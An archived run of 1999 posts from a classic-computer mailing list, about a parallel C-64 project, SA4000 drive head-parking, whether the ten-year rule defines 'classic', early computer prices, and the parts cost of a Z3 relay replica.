Subject: Classic Computer Auctions List In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Max Eskin wrote: > On Mon, 25 Jan 1999, Sam Ismail wrote: > > Yes but we're using those for a VCF project. > > Using 80 C-64s in a single project? Heck, I'm curious... Were basically in the preliminary feasibility study stages of building a massively parallel vintage computer. The point? To demonstrate that old hardware that can be picked up for pennies can be combined to attain amazing amounts of computing power. Hans Franke is the project leader. Currently we are talking about the architecture of such a thing. The current wisdom from Hans is to use 1541 drives instead since they would be easier to network and are self-booting, not to mention plentiful and cheap. As we get closer to actually deciding to implement this I'll keep you posted. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Wed Jan 27 00:27:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:35 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Tony Duell wrote: > > I actually have the hardware for the Winchester Disk System - it was the > > controller I used to run my Big, Enormous, 27 Megabyte disk on my CP/M > > system (SA4000 - 2 14inch platters! Big sucker.) > > And with a very complex headparking method. > > IIRC you had to put a clip into the head possitioner with the drive > spinning at full speed to lock the heads. Then turn it off and put a > screw through the drive pulley to lock the spindle. The problem comes > when the clip and screw weren't stored with the drive.... Hmmm...I received two of these last year and didn't know about this. I hope the original owner I got them from had parked the heads long ago, but I can't be sure. They've gone thru two moves now so I don't know their condition. One came in a huge metal casing that is about 3' long by 18" wide and about 5" in height. The other was bare. The funny thing is that I've had an empty Morrow case that I've had since early 1997 that I now realize is the case for this hard drive, so the bare one is now inside that :) They were sold by Morrow in the late 70s/early 80s. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Wed Jan 27 00:30:31 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:35 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Wed, 27 Jan 1999, Tony Duell wrote: > > > Are you sure you're thinking of a Daybreak? I don't have a diagnostic > > > display on my unit... > > > > Yes. The diagnostic code shows up on the CRT in the upper-righthand > > corner (IIRC). > > But that means 99% of the machine has to be working for it to show a > diagnostic code. Isn't that stupid? Unfortunately, when we tried to boot the 4 that we recently got they mostly got stuck at the same codet that wasn't documented in the Diagnostics manual. So much for that. > Some of the other Xerox machines, and all PERQs, have a little 3 or 4 > digit 7-segment display on them. This works even if the entire video side > is out of action, and is moderately more useful, therefore. Yes, very cool idea. BTW, this manual is also good for the 8010. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From jpl15 at netcom.com Wed Jan 27 00:35:58 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:40:35 2005 Subject: Emulation Message-ID: When the Prime 2550-II I rescued is finally up and running (I just discovered the rare and missing Kennedy 9100 I/O cables this evening.. in the damn box with the rack slides for the drive) then I think I'll be completely perverse and write a VIC-20 emulator for it. Anybody who wants... you send me a reel o' tape and I'll return it with the code. Stay tuned for Progess Reports. I think it'll be in PL/1G. Okay. 0630Z; time for beddie-bye. Cheerz John ps: yawwwnnn.... From joe at barrera.org Wed Jan 27 00:42:40 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:35 2005 Subject: PL/M++ [Re: Emulation] Message-ID: <009901be49c0$3d070010$11d53d9d@JOEBAR> Perverse. I like perverse. :-) I have plans one day to write a PL/M++, an object-oriented PL/M that has classes... declared using based pointers. - Joe ----- Original Message ----- From: John Lawson >evening.. in the damn box with the rack slides for the drive) then I >think I'll be completely perverse and write a VIC-20 emulator for >it. From transit at primenet.com Wed Jan 27 00:53:49 1999 From: transit at primenet.com (Charles P. Hobbs) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901270551.AAA18069@dgs.cs.unc.edu> Message-ID: I just don't want to hear about Pentiums, Gateway's, Dell's, Windows 95/98, Mac G3's, or anything else that you can walk into a CompUsa and buy, on this list. All the other stuff is fine, even old PC's like the Leading Edge or the IBM PS/2 for that matter. Any PC later than that is dicey . . . But for the most part, we just haven't had that much of a problem with people talking about "new" computers anyway (At least not that I've seen, although I *heavily* filter this list anyway--a lot of it I just don't see, due to lack of time). From go at ao.com Wed Jan 27 01:00:29 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:35 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: References: <4.1.19990126110955.00acec10@office.ao.com> Message-ID: <4.1.19990126224046.0344e380@office.ao.com> At 11:30 PM 1/26/99 +0000, you wrote: >> I actually have the hardware for the Winchester Disk System - it was the >> controller I used to run my Big, Enormous, 27 Megabyte disk on my CP/M >> system (SA4000 - 2 14inch platters! Big sucker.) > >And with a very complex headparking method. > >IIRC you had to put a clip into the head possitioner with the drive >spinning at full speed to lock the heads. Then turn it off and put a >screw through the drive pulley to lock the spindle. The problem comes >when the clip and screw weren't stored with the drive.... > >I'e heard stories of the motor start capacitor (it's a little AC >induction motor) exploding and spaying oil over the rest of the machine. >I don't particularly want to see this happen... ..snip Sounds about right. However, I only lock the heads when I'm going to trot it about. And I haven't done that for quite a few years. Never had the capacitor problem, but I do fondly recall the damage to my nervous system the time I brought it home and fired it up. Of course, this was somewhat a "home brew" project. I bought the drive, but there were NO S-100 controllers on the market at that time. (This was about 1.5 years before Morrow came out with their controller.) Being too stupid to know better, I designed my own, hacked up, controller (bear in mind that I'm mostly a Programmer - not a hardware weenie - though I've been messing with hardware for a "few" years...) Anyway, long story shortened: finished interface in a couple of weeks, checked it out as best I could with offline tests. Built power supplies for drive (needs 110vac control, and if I recall correctly, 24vdc, 12vdc 5vdc and probably -12vdc - just about everything and they have to be sequenced in the correct order (or rather NOT in the INCORRECT order.) Got everything up, dc-wise. Ready for drive. Powered up the AC to the drive motor and damn near wet my pants. The most horrible shreak and growl came from the drive. I've heard ("experienced") a few head crashes in the my day and they usually kinda "sneak up" on you - high-pitch squeal that gets louder and lower and louder and... until there is no doubt what is happening. However, THIS drive just started up screaching and howling. I was about 10 feet from the drive when I powered it up, across the room at the computer console watching my debug display for the controller test. I don't think I've ever moved as fast as that before - or since. Flew across the room to yank the power cord from the wall - call it a reflex action - I wanted the damn thing OFF quick - had the impression of my $4000 going up in smoke. (that's what a "cheap" drive cost back then...) Well, it turns out this SA4000 is DESIGNED to make that noise. The starting torque of the motor is greater than the design for the platters so the designers made a belt drive that was supposed to SLIP for a few seconds. Imagine your power-steering belt on your car when it's cold and the belt is a little loose. Same effect, though I never experienced that on a disk drive before. Anyway, drive worked, controller (eventually) worked, but Morrow's was MUCH better so replaced it eventually. Drive worked fine for more than seven years before I retired it to the garage "pasture." Still worked the last time I fired it up. For those not able to picture the size of this drive: 14 inch platters, with cast aluminum base in a box about 10 inches high by 26 inches deep by 19 inches wide. If this size box were filled with current run 4gbyte drives, it would contain at least 750 gbytes and probably need about the same amount of power. A density factor of about 27000:1. Not bad for 15 years. Gary > >-tony From ddameron at earthlink.net Tue Jan 26 22:48:15 1999 From: ddameron at earthlink.net (Dave Dameron) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901270551.AAA18069@dgs.cs.unc.edu> Message-ID: <3.0.6.16.19990126224815.2307f3ae@earthlink.net> At 12:51 AM 1/27/99 -0500, Bill wrote: >A lot of people want the latest PC, too. And prices on PC's are >generally higher; doesn't that indicate greater desirability? >Even to people on this list, how many can honestly say that the >most expensive computer that they own, as measured in the price >that they actually paid, was not a PC or Mac? (I can, but I >strongly suspect I'm an exception.) > I would guess most on this list can. At least those who, for example, bought a computer in the 1970's. I think my Heath H-19 was about US $600 back when they were new. I remember dot-matrix printers for $1600. Now add the cost of a S-100 system to go with it... (My PC was free, a hand me down) Am sure Apples were also in that price range, as well as TRS-80's (with disks, printers, etc.) and then I could only look at pictures of a PDP-11. -Dave From transit at primenet.com Wed Jan 27 01:06:08 1999 From: transit at primenet.com (Charles P. Hobbs) Date: Sun Feb 27 18:40:35 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. In-Reply-To: <199901270619.BAA18424@dgs.cs.unc.edu> Message-ID: On Wed, 27 Jan 1999, Bill Yakowenko wrote: > On Sun, 24 Jan 1999, Roger Merchberger wrote: > ] Erm, sorry... I (and I think most others would agree with me here) don't > ] believe that would work correctly, either. My beloved CoCo3 is more than > ] easily considered a classic here, as they *started* production in 1986 (and > ] mine was the first one in over a 50 mile radius of my area), but they were > ] still in production at least into 1990, and I know they were still in-stock > ] items in Radio Shacks & RSCC's in 1990, maybe 1991. > > I'm sorry to say this, being a bit of a CoCo nut myself, but if they > peaked within the past ten years, they are not yet classic. Of course, > they are right on the edge here, so you'd get no flames from me for > posting about them. I mean, they couldn't have peaked in popularity > after they were no longer being sold, right? So that puts them at > eight or nine years; almost ripe. But again, slightly off-topic != > on-topic. > > I'm guessing there will be a bell curve of opinion for any machine. > Maybe I'm in one of the tails. Does everybody else think that this > should be an "everything but this-year's x86" list? No, but I'd certainly put all of the old 8-bitters in the "classic" category, even if many of them were used less than 10-years ago. Also newer stuff that's really no longer with us for all intents and purposes, such as the Amiga and Atari ST. Sure, some people still use them, but most users wouldn't consider them a mainstream choice anymore. > > I just had a little revelation. To me, classic means something more > than being old. And being terribly common, like being in every house, > negates that. When I think of classic computers, I think of machines > that had some personality, like a unique creation from an old sci-fi > movie. Electronic brains. Blinky lights. Arcane OS's. High voltage. > Made you feel like a mad scientist just to be able to dork around with > one. > > CoCo's, as much as I like them, can't be that. Those and Atari's and > Commie's and, yes, even Apple-2's are just too darn ordinary to be > classic in that way. PDP's are classic because nobody (well, almost > nobody) has them at home. > I disagree. Most users, if they even knew a PDP from a VAX, never directly interacted with these machines. At least at my university computing center, these machines were kept in air-conditioned rooms, attended to by staff--mere users never touched them. The only interaction was with a terminal, running some operating system (UNIX or VMS or whatever) We mere users *never* got to screw around with these machines the same way we'd hack the hell out of an Apple II or Commodore 64. That's not to say that people shouldn't enjoy collecting PDP's and VAXen--many do. Are they "classic"? I'd say PDP's and at least earlier VAXen are. On-topic for this list? Since direct hobby use of these machines is *rare*, sure, why not? From doug at blinkenlights.com Wed Jan 27 01:13:02 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.6.16.19990126224815.2307f3ae@earthlink.net> Message-ID: On Tue, 26 Jan 1999, Dave Dameron wrote: > I would guess most on this list can. At least those who, for example, > bought a computer in the 1970's. I think my Heath H-19 was about US $600 > back when they were new. I remember dot-matrix printers for $1600. Now I held out for a couple of years before I decided I needed a printer. I bought a used Trendcom 100 for $200 or so. I probably still have some brown curled-up thermal 6502 listings someplace. These days, I can get along fine without a printer. I only use them to generate old fashion fax machine input. Web forms and email have made printers nearly obsolete (soon to be RARE). -- Doug From yakowenk at cs.unc.edu Wed Jan 27 01:21:57 1999 From: yakowenk at cs.unc.edu (Bill Yakowenko) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901270721.CAA18883@dgs.cs.unc.edu> "Help! I've started replying and I can't stop!" (Last one, I promise!) On Mon, 25 Jan 1999, "Hans Franke" wrote: ] > ] I personally feel the 10 year "rule" is useful as a guide, however, I also ] > ] consider that there are several machines that rightly qualify as "Classic ] > ] Computers" that are less than 10 years old. There is a particular "grey" ] > ... snippage ... ] ] > Unless the list-maintainer gets active, "on-topic" is by concensus. ] ] If I may add here - he _is_ active - not acting as teh big boo-boo ] doesn't mean beeing non existent - After all, I guess nobody wants ] a dictatoric on/of topic thing. And being existant doesn't mean active either. Has he nipped any single thread, ever? If he never acts to control off-topic messages, then I feel safe in saying he is not active, at least in defining "on-topic". I'm not bitching about that, BTW. Just pointing out that it is up to us as a group to define that. ] > 1. Ten years is just a guideline. If something is only 9 years old, ] > I won't much mind hearing about it. I might even like it. But if ] > it is only two or three years old, there must be a surviving ] > users-group or something. Go find it, or start your own, but please ] > don't clutter up my mailbox with it. ] ] THere are 'surviving' user groups for machines that are ] _way_ older than 9 years - and before getting deeper into, ] this is not a user group ! ] ] And for the mailbox thing - what about a filter ? No, serious, ] from my simple point, all this /11/ stuff is useless (help, no, ] no, I didn't mean is - pleeeeease :) and just adds trafic. But ] I also read them, or at least open them and have a look, since ] sometimes, beside stupid facts, how to configure a special card, ] or device, there are beautiful insights and stories - and BTW, ] the 11 is not classic (since still available new, or at least ] have been sold new less than 10 years ago) nor there is no other ] support - there are _plenty_ of specialised lists, user groups ] and news areas. I even learned to love this PERQ thing (now I ] just need to get one :). Yup, someday I'll have to figure out mail filters. As of now I'm still using plain old Unix (UCB) mail (a classic!). And while there is plenty of on-topic stuff that I skim over (like you, I don't own a PDP-11), there is also plenty of stuff that really doesn't belong here. It is easy enough to skim over. But it would be easier and better to just post messages on the right lists. ] > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's ] > just an indisputable fact. :-) ] ] Boooo - shuld I throw my Apple II PC into the garbage ? Um, I meant PC as in "IBM PC". You know, the same way everybody else has meant it for the past fifteen years or so. :-) Besides, even if it were not a classic computer (which I won't dispute), you could still treasure it. ... snippage ... ] > 3. Guns, cars, schools, Star Trek, and politics are not classic computers. ] > (This is not to disparage people interested in those things, just to ] > point out that those discussions belong on other mailing lists.) ] ] Guns ? Depending. Okay, I'll bite. Give me an example of a gun that is a classic computer. And I don't want to hear about computers controlling guns, or computers designing guns, or computers owned by gun companies, or computers used in anti-gun legislation. In those cases it is the computer, and not the gun, that could be relevant here. ] Cars ? At least related somewhat. Okay, by that measure, everything on Earth (and almost everything not on Earth) is related somewhat. Shall we make this into the "everything" mailing list? Absolutely everything is on-topic, because we can always stretch far enough to find _some_ relation? Heck, we are *people* talking about those things, and *people* made those classic computers, therefore everything anyone says is related. Cancel all the other mailing lists! Route all their traffic here! It is all on-topic now! ] Schools ? Hey, this discusion was _very_ on topic at all ! ] Thats where our next collectors generation is growing, and ] it's part of our mission to take our idea of old technik ] use and preseravion to them. Themes like that is waht this ] list makes so different - it's not just 'put this IC into ] that socket' type of mails, it's about real people doing the ] real thing in the real world, with all interactions. Not just ] technik dummys. Nope, MOST of this was way off-topic. How bad teachers are, how great Uncle Roger's girlfriend is as a teacher, how the schools are underfunded, how funding isn't the problem, blah, blah, blah... Maybe your filter saved you from it? ] And for the Star Trek part - Of course, ST had no infuence ] to the idea of computers et all - you're right (BTW1: when ] was the last occurance of ST in this list ? BTW2: OT: I'm ] still searching on data for the Star Wars premiere) *Everything* has influence on everything else. It is not all on-topic. ] > 4. Simply having origins in something that is classic does not make a ] > thing classic. Otherwise *everything* would be classic. ] ] But looking at the origins visible in a new product is still ] a _very_ on topic thing - otherwise we would just ignore the ] world of the last 10 years. And it's one of the most interesting ] things about this hoby, to see how the things have evolved, ] how small and insignificant (at this time possibly good) decisions ] have breed new monsters (see A20 gate :). The advantage of an ] historian is not only to review a specifig period, but also ] trace the ways leading there, AND leading from there to 'now'. Yes, it is very interesting. There are thousands of other mailing lists full of interesting stuff too. But they are not classic computers. I suspect you'd like comp.arch more than this list. Which is not a bad thing, as long as you don't confuse the two. If I wanted to read comp.arch (as I sometimes do), I would just subscribe to it (as I also sometimes do). But despite some overlap, there is a clear difference between the two. ] > 5. The ten year rule should apply to the date when a thing dropped off ] > in popularity; if it was still in common use eight years ago, it is ] > not yet classic. (Justification: if it is still in common use, ] > there will be other places to discuss it.) ] ] If we go for an 'exact' date, I think the mfg date of the ] specific unit is the only possible anchor - just think of ] machines like the A2 - acording to your definition it wont ] qualify. I would even go one step further and use the date ] of first production as base for the rule (as often done ] within the list - best practice rule). Just remember that ] new machines always have been escorted by a increased ] attention and speculation (no, not today :). This event ] itself is classic and part of the history, and the acording So the release of any new machine is automatically a classic event? I hope I'm misunderstanding you here. ] machine. No mater if the Mac is still in production or not, ] the small guy, saying "I'm glad to be out of this bag" ] _is_ classic, without any doubt. Er... huh? ] > 6. Do I really need to add "IMHO" here? :-) ] ] No, as always, we interprete anything we want into your ] words :) Very convenient. It will save me a lot of typing. :-) ] To get to an end: I still think the 10 year thing is a ] thump rule, not a law - and as rule we don't need _exact_ ] fixings, since this would just force the development of ] pseudo exact exemptions (Do I have to mention all these ] laws, where our beloved politicians want to do is best, ] and most exact as possible, and then spend the next 10 ] years to add sub laws without even touching the problem ?). I wasn't suggesting an extreme policy. Going a little off topic is fine. Going way off topic is okay once in a while. But we should at least be aware when we've done that, so we can exert a little self-control, and not go way off-topic all the time. ] And, to say it once more, I don't think this list ] 'unmaintained' - our 'boss' is just _not_ one of ] the I-know-it-all-and-I-will-rule-them guys. That's what I meant by "not active". He is not ruling with an iron fist (or with any sort of fist at all) so we define what we want to talk about, by consensus. I didn't mean to disparage him. After all, he pulled our collective niblets out of the fire, n'est ce pas? ] Gruss ] H. ] ] -- ] Ich denke, also bin ich, also gut ] HRK And On Mon, 25 Jan 1999, "Hans Franke" wrote: ] > As for the rule itself, I agree that ten years after last manufacture ] > implies classic status - that is, the item is an antique. However, ] > that requirement of time is not necessarily the most prudent for some ] > items. In some cases, classic status might be applied to an item ] > available only two or three years ago. Such cases might be ] > rare but, justified by the circumstances. ] ] To look at similar things, what about cars: wasn't the ] VW Käfer already a classic, _years_ befor the production ] in Germany ended (and in fact, he is still in production ] in Mexico!). ] ] So, when is a classic car classic ? Basicly there is a ] 20 year rule (at least over here), that applies on the ] date of first usage of this particular unit. Yes, let's look at cars. A 1979 Pinto is classic, but a 1980 Pinto won't be until next year. (Pardon my ignorance here; I have almost no idea when Pintos were actually made.) By that logic, your Apple 2 may or may not be classic, based on its exact date of manufacture. Is this the position you want to take? Okay, I'm falling asleep at the wheel here. I'd better go nap. ... lots of snippage ... Good night all, Bill. ] Gruss ] H. ] ] -- ] Ich denke, also bin ich, also gut ] HRK From dastar at ncal.verio.com Wed Jan 27 01:26:50 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:35 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <4.1.19990126224046.0344e380@office.ao.com> Message-ID: On Tue, 26 Jan 1999, Gary Oliver wrote: > For those not able to picture the size of this drive: 14 inch > platters, with cast aluminum base in a box about 10 inches > high by 26 inches deep by 19 inches wide. If this size box were > filled with current run 4gbyte drives, it would contain at least > 750 gbytes and probably need about the same amount of power. > A density factor of about 27000:1. Not bad for 15 years. I'll try to get a digital photo of my units and post them to the VCF web site. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From marvin at rain.org Wed Jan 27 01:34:23 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:35 2005 Subject: H-19 Listings References: Message-ID: <36AEC17F.F5CEAE9A@rain.org> This was posted today to the Heathkit Mailing List and thought someone here might be interested. And of course communicate directly with the person listed. ******************** Subject: FS/FT Firmware PROM listing - H-19 Date: Tue, 26 Jan 1999 02:41:07 -0800 From: Mike Morris Recently while doing an inventory of a silent key's files I discovered what is apparently a original assembly code listing of the Heath H19 terminal firmware, dated 30-May-1980, complete with cross-reference at the end. Apparently Heath sold them. It appears to be offset printed from an original daisy-wheel printout. On the front is says "H-19-1 595-2465" It was bound with blue vinyl with melted plastic pegs which have fallen apart - but it is complete - I checked and every page is there. Make offer - including trades. Mike Morris WA6ILQ mike@morris.com From dastar at ncal.verio.com Wed Jan 27 01:45:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901270721.CAA18883@dgs.cs.unc.edu> Message-ID: On Wed, 27 Jan 1999, Bill Yakowenko wrote: > A 1979 Pinto is classic, but a 1980 Pinto won't be until next year. > (Pardon my ignorance here; I have almost no idea when Pintos were > actually made.) > > By that logic, your Apple 2 may or may not be classic, based on > its exact date of manufacture. Is this the position you want to > take? With cars, each year's model had some distinguishing feature from the model before and after. So that's why people rave about a '56 Chevy, and not a '55 or a '58. With computers, there wasn't much difference between the first year's run and the last year's run. Taking an Apple //e for example, there were about four major variations during its lifetime (of about 10 years in production). But nobody really distinguishes between the first three. The only thing that changed from the first one to the second was the color of the keycaps and some minor motherboard revisions, and from the second to the third you had some ROM changes, additional characters added to the character set, and a CPU upgrade. It only really changed significantly (superficially mostly) when the Platinum //e came out with the extended keyboard (with numeric keypad). The Coco 2 had many different design variations during its life cycle, but people generally just say "I have a CoCo2", not "I have a June 1982 CoCo2 with the low-profile keyboard and the Rev B1 motherboard" [these are just made up characteristics...I know nothing of the CoCo2 save for the visible outward differences I see amongst the handful I have]. The point is many computers had minor design changes over the years that computer nerds don't tend to make a big deal about since the computer basically worked the same. Car collectors go to great pains to memorize all the differences in models from year to year because those changes were delineated by year boundaries that as a result are easy to categorize. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From gram at cnct.com Wed Jan 27 02:05:47 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <3.0.6.16.19990126224815.2307f3ae@earthlink.net> Message-ID: On Tue, 26 Jan 1999, Dave Dameron wrote: > At 12:51 AM 1/27/99 -0500, Bill wrote: > > >A lot of people want the latest PC, too. And prices on PC's are > >generally higher; doesn't that indicate greater desirability? > >Even to people on this list, how many can honestly say that the > >most expensive computer that they own, as measured in the price > >that they actually paid, was not a PC or Mac? (I can, but I > >strongly suspect I'm an exception.) > > > I would guess most on this list can. At least those who, for example, bought a > computer in the 1970's. I think my Heath H-19 was about US $600 back when > they were new. I remember dot-matrix printers for $1600. Now add the cost > of a S-100 system to go with it... (My PC was free, a hand me down) > Am sure Apples were also in that price range, as well as TRS-80's (with > disks, printers, etc.) and then I could only look at pictures of a PDP-11. I know damned well that my first TRS-80 at $599 in 1978 was a much bigger percentage of my annual income than my wife's casual purchase of a 333Mhz P-II with the standard trimmings from home shopping about 6 months back. (Technically, she's got more computer than have, twice the clock, twice the RAM, four times the root disk of my main machine, she uses the Winmodem to access AOL -- her sole use for the machine; aside from the Winmodem it'd be a dynamite Linux bix, but I have to wait until she sees something cuter on QVC). That TRS-80 had _no_ peripherals aside from a (crappy) cassette tape machine. The $300 or so it took to upgrade it to 16k RAM and Microsoft BASIC was non-trivial. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From spc at armigeron.com Wed Jan 27 01:54:56 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: from "Sam Ismail" at Jan 26, 99 10:21:17 pm Message-ID: <199901270756.CAA10365@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 2270 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/4f0c58cd/attachment.ksh From gram at cnct.com Wed Jan 27 02:34:19 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:35 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Sam Ismail wrote: > The Coco 2 had many different design variations during its life cycle, but > people generally just say "I have a CoCo2", not "I have a June 1982 CoCo2 > with the low-profile keyboard and the Rev B1 motherboard" [these are just > made up characteristics...I know nothing of the CoCo2 save for the visible > outward differences I see amongst the handful I have]. The point is many > computers had minor design changes over the years that computer nerds > don't tend to make a big deal about since the computer basically worked > the same. Car collectors go to great pains to memorize all the > differences in models from year to year because those changes were > delineated by year boundaries that as a result are easy to categorize. And if you get down to basics, there's more difference (and progress) between a 4k CoCo rev. A board and a CoCo 3 than there is between a Ford Landau and a Ford Explorer. Despite the 10x or so relative difference in release dates. (Sorry, to me the variation in car models from one year to the next seems to be purely cosmetic -- I can't tell the difference between a 1972 Camaro and a 1973 Camaro without looking at the raised print on the tail lights). -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From netcafe at pirie.mtx.net.au Wed Jan 27 05:30:31 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:35 2005 Subject: DG Aviion input devices (was RE: HP Keyboard and cable) Message-ID: <01be49e8$72b8b320$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: R. Stricklin (kjaeros) To: Discussion re-collecting of classic computers Date: Wednesday, 27 January 1999 9:08 Subject: DG Aviion input devices (was RE: HP Keyboard and cable) >On Tue, 26 Jan 1999, Anthony Eros wrote: > >> I recently acquired a DG Aviion 410 minus keyboard and mouse. Does anyone >> have leads on tracking these items down? > >Apparently any number of (although not all) standard AT-style PC keyboards >will work with the machine. That is my experience also. A cheap clone keyboard didn't want to play, however, a genuine IBM AT Keyboard seems to work perfectly. >As far as mice go, mine looks like it's probably just a quadrature-style >mouse, although my Aviion isn't working yet and I can't verify this. >Note that for all their outward similarity, the DG mouse is not interchangable >with a Sun mouse. Erk. I was hoping they were. Darn. Anyone in Oz got a source for DG Aviion style mice??? Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From Hans.Franke at mch20.sbs.de Wed Jan 27 06:39:31 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:35 2005 Subject: Replica and Emulators(was: Alto II (was Re: PDP-8 prices)) In-Reply-To: <199901262132.NAA29687@saul6.u.washington.edu> References: <199901261532.PAA25574@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 26, 99 04:32:22 pm Message-ID: <199901271140.LAA19343@nixpbe.pdb.sni.de> > > > You already gave me that incentive about three times, and both of those > > > ideas were FAR easier. Well, building a replica of Zuse's Z-3 may not be > > > easier. But my Apple ][ programming ideas are easier, and bringing my > > > Marchant is MUCH easier. So why should I bother doing the difficult stuff, > > > if the reward is the same? :) > > A Z3 replik ? Only functional (al relays, but modern part) or > > an exact copy ? As for the functional replica it's just some > > work and an awfull lot of money for the parts (my guess, some > > 8000 USD), but easyer than most _exact_ emulations of complex > How did you arrive at the sum of $8000? I thought there were 600 relays in > the Z3. I didn't realize relays were so expensive. I was also thinking > that it might be possible to use other parts (for example, telephone parts > like ferreed switches or a small crossbar module). That might require > changing the design. Depends on the parts you gan get for low/free. But forget about the dream of using old telephone parts, especialy relays - this time is gone for mor than 20 years - there are no more old scraped exchanges to get 600 relays (and even if, they would be most likely EWS type machines, their relais aren't just single orphans, but rather high integratet mechanical structures, where it is almost impossible to extract a single relay). You have to buy new ones (or beeing lucky to find enough high quality pcs. at a surplus store). And you cant go for the 4 Mark types with one switch, since the Z3 uses often more than one. Also it's a must to use socketed types, for easy exchange (that would also simplyfy the design) - an exception to this might be if you want to build it as small as possible - but the relays needed in this case might cost even more. At a number of some 600 relays and sockets I assume an average price of an relay at DM 10 plus DM 4 per socket. That gives 14 Mark (or USD 8) per installed relay - assume you use an Euro card style (within a 19" rack) you might end up with 4 or maybe 6 relays per card (4 if you use 90 degree socket to reduce card height - or if you want to use a low density to keep it easy to wire - or 6 if you go for the maximum - a 4 relay per card design will result in about half the heigh per card as a 6 relay per card design, so the whole computer will be 25% smaler). This means you need some 150 PCB boards at, lets say 10 Mark each - with an aprobiate connector for 10 Mark each. To mopunt them, another connector is needed in the rack at 14 Mark each, eding up with 34 Mark per board (or 90 Mark including the relays). Now we have 13500 Mark (or ~8000 USD) and thats only the PCBs, relays, sockets and connectors - I assume the rack(s), card mountng, power supply(s) and small parts (like diodes, resistors and wireing) are just for free. Of course you can go and collect relays wherever you find them and end up with hundreds of different types and dozends of needed voltage levels etc. not to mention that this beast will need _a lot_ more room (usinge the design describen above we need at _least_ one full height rack, but maybe two) and dont forget the problem of different kinds of mounting for the relays. Gruss H. > It's possible. Bear in mind that I've never done any electronics work > before. I mostly have a vague idea in my head. (A few Nixie tubes, a > desktop-sized box, some keys.) Step aside, and wait for a real stunning idea, soon to arive (no comment). -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 27 07:09:25 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:35 2005 Subject: Big C64 Secret Project (was Re: Classic Computer Auctions List In-Reply-To: References: <199901270143.RAA12242@oa.ptloma.edu> Message-ID: <199901271210.MAA19949@nixpbe.pdb.sni.de> > > ::> Yes but we're using those for a VCF project. > > ::Using 80 C-64s in a single project? Heck, I'm curious... > > So am I :-))) > OK, I'll tell you. Oh, wait. It's a secret. I think you have to come to > VCF 3.0 to find out. Hey, Doug, don't tease them - Just say NO - like in 'No Comment', or 'there is NOthing to tell', or 'NOthing to be curious' ... Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Wed Jan 27 07:09:25 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:35 2005 Subject: Classic Computer Auctions List In-Reply-To: References: Message-ID: 